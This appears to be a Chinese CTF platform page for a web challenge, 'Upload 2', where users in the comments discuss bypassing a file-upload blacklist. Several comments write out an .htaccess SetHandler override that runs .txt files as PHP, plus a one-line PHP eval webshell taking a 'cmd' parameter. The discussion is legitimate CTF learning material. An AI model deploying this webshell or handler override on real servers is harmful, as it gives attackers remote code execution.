Upload 2WEB 未解决
分数:
0
金币:
0
题目作者:
未知
一 血:
Max_yiz
一血奖励:
0金币
解 决:
180
提 示:
描 述:
We used a blacklist now ... can you **access** the flag now?\n\n\n\
\ **Author**: souad
评论
vincentshine 26天前
举报
两点绕过,非php文件无法被执行,文件内容检查,修改apache配置文件,允许非php文件按照php文件运行执行。
HWHHJ 5月前
举报
逆天题目,还是能做
miko88 3月前
举报
上传的.htaccess和txt不在同一目录,是怎么做的啊
toxi 8月前
举报
只需要把文件后缀的.php换成.php5即可
啊这这 8月前
举报
题目非常好 不过我有个疑问 为什么我上传的shell木马中的提交参数函数必须是REQUEST还要是大写 我尝试了GET POST都不行 大写是语法只能是大写还是其他原因吗
xiaoxiao972521 7月前
举报
可以吧,$_GET $_REQUEST 都行,这些属于php函数,就是这个写法
我不知丢答案 8月前
举报
为什么我上传.user.ini文件去连的时候连不上??
JJhello 11月前
举报
接下面,内容为一句话木马,然后蚁剑连shell.txt的路径即可
JJhello 11月前
举报
上传一个文件名为 ".htaccess",注意,文件名前面没有任何东西的,文件内容为: #define width 16 #define height 7 <FilesMatch \.txt$> SetHandler application/x-httpd-php </FilesMatch> 然后上传shell.txt,内容为
samRsa 1年前
举报
1、bp抓包上传.htaccess #define width 16 #define height 7 <FilesMatch \.txt$> SetHandler application/x-httpd-php </FilesMatch> 2、上传马 GIF89a <?php @eval($_POST['cmd']); ?>
PandaCattle 1年前
举报
看了官方wp就知道有多离谱。。https://github.com/Shellmates/HackINI-2k23-public/blob/main/web/upload-2/solve/README.md
hopeinhand 1年前
举报
后缀php不行,换后缀php5发现容器只允许.php后缀执行命令,使用.htaccess绕过
zuoyantiao115 3月前
举报
@PandaCattle #define width 16 #define height 7在这里起到的作用是什么?
PandaCattle 1年前
举报
@jiangbw 做出来了,只能说逆天,.htaccess内容里面必须有#define width 16 #define height 7
PandaCattle 1年前
举报
@jiangbw 我也一样 直接报错了 是不是环境有问题
jiangbw 1年前
举报
@niano.0 .htaccess上传完就跳界面了,那怎么绕过啊
niano.0 1年前
举报
@xjc7580 大佬,怎么做的呀
xjc7580 1年前
举报
大佬,再给点提示呗,上传.htaccess与上传的shell不一个目录啊